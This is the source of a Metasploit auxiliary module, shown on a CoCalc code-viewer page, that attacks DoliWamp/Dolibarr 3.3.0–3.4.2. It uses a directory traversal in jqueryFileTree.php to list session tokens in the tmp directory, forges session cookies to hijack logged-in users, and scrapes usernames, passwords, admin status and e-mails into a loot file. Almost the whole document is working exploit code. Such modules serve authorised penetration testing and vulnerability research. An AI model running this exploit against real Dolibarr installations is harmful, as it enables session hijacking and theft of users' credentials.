CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/doliwamp_traversal_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(update_info(
12
info,
13
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
14
'Description' => %q{
15
This module will extract user credentials from DoliWamp - a WAMP
16
packaged installer distribution for Dolibarr ERP on Windows - versions
17
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
18
tokens in filenames in the 'tmp' directory. A directory traversal
19
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
20
to retrieve session tokens by listing the contents of this directory.
21
Note: All tokens expire after 30 minutes of inactivity by default.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => 'bcoles',
25
'References' =>
26
[
27
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
28
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
29
],
30
'DisclosureDate' => '2014-01-12'))
31
register_options(
32
[
33
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
34
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
35
])
36
end
37
38
#
39
# Find session tokens
40
#
41
def get_session_tokens
42
tokens = nil
43
print_status("Finding session tokens...")
44
res = send_request_cgi({
45
'method' => 'POST',
46
'uri' => normalize_uri(
47
target_uri.path,
48
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
49
'cookie' => @cookie,
50
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
51
})
52
if !res
53
print_error("Connection failed")
54
elsif res.code == 404
55
print_error("Could not find 'jqueryFileTree.php'")
56
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
57
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
58
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
59
print_good("Found #{num_tokens} session tokens")
60
else
61
print_error("Could not find any session tokens")
62
end
63
return tokens
64
end
65
66
#
67
# Get user's credentials
68
#
69
def get_user_info(user_id)
70
vprint_status("Retrieving user's credentials")
71
res = send_request_cgi({
72
'method' => 'GET',
73
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
74
'cookie' => @cookie,
75
'vars_get' => Hash[{
76
'action' => 'edit',
77
'id' => "#{user_id}"
78
}.to_a.shuffle]
79
})
80
if !res
81
print_error("Connection failed")
82
elsif res.body =~ /User card/
83
record = [
84
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
85
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,
86
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,
87
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
88
]
89
unless record.empty?
90
print_good("Found credentials (#{record[0]}:#{record[1]})")
91
return record
92
end
93
else
94
print_warning("Could not retrieve user credentials")
95
end
96
end
97
98
#
99
# Verify if session cookie is valid and return user's ID
100
#
101
def get_user_id
102
res = send_request_cgi({
103
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
104
'cookie' => @cookie
105
})
106
if !res
107
print_error("Connection failed")
108
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
109
user_id = "#{$1}"
110
vprint_good("Hijacked session for user with ID '#{user_id}'")
111
return user_id
112
else
113
vprint_status("Could not hijack session. Session is invalid.")
114
end
115
end
116
117
#
118
# Construct cookie using token
119
#
120
def create_cookie(token)
121
res = send_request_cgi({
122
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
123
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
124
})
125
if !res
126
print_error("Connection failed")
127
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
128
return "DOLSESSID_#{$1}=#{token}"
129
else
130
print_warning("Could not create session cookie")
131
end
132
end
133
134
#
135
# Show progress percentage
136
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
137
#
138
def progress(current, total)
139
done = (current.to_f / total.to_f) * 100
140
percent = "%3.2f%%" % done.to_f
141
vprint_status("Trying to hijack a session - " +
142
"%7s done (%d/%d tokens)" % [percent, current, total])
143
end
144
145
#
146
# Check for session tokens in 'tmp'
147
#
148
def check
149
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
150
end
151
152
def report_cred(opts)
153
service_data = {
154
address: opts[:ip],
155
port: opts[:port],
156
service_name: opts[:service_name],
157
protocol: 'tcp',
158
workspace_id: myworkspace_id
159
}
160
161
credential_data = {
162
origin_type: :service,
163
module_fullname: fullname,
164
username: opts[:user],
165
private_data: opts[:password],
166
private_type: :password
167
}.merge(service_data)
168
169
login_data = {
170
core: create_credential(credential_data),
171
status: Metasploit::Model::Login::Status::UNTRIED,
172
proof: opts[:proof]
173
}.merge(service_data)
174
175
create_credential_login(login_data)
176
end
177
178
def run
179
return unless tokens = get_session_tokens
180
credentials = []
181
print_status("Trying to hijack a session...")
182
tokens.flatten.each_with_index do |token, index|
183
if @cookie = create_cookie(token) and user_id = get_user_id
184
credentials << get_user_info(user_id)
185
end
186
progress(index + 1, tokens.size)
187
end
188
189
if credentials.empty?
190
print_warning("No credentials collected.")
191
return
192
end
193
cred_table = Rex::Text::Table.new(
194
'Header' => 'Dolibarr User Credentials',
195
'Indent' => 1,
196
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
197
)
198
credentials.each do |record|
199
report_cred(
200
ip: rhost,
201
port: rport,
202
service_name: (ssl ? 'https' : 'http'),
203
user: record[0],
204
password: record[1],
205
proof: @cookie
206
)
207
cred_table << [record[0], record[1], record[2], record[3]]
208
end
209
print_line
210
print_line("#{cred_table}")
211
loot_name = 'dolibarr.traversal.user.credentials'
212
loot_type = 'text/csv'
213
loot_filename = 'dolibarr_user_creds.csv'
214
loot_desc = 'Dolibarr User Credentials'
215
p = store_loot(
216
loot_name,
217
loot_type,
218
rhost,
219
cred_table.to_csv,
220
loot_filename,
221
loot_desc)
222
print_status("Credentials saved in: #{p}")
223
end
224
end
225
226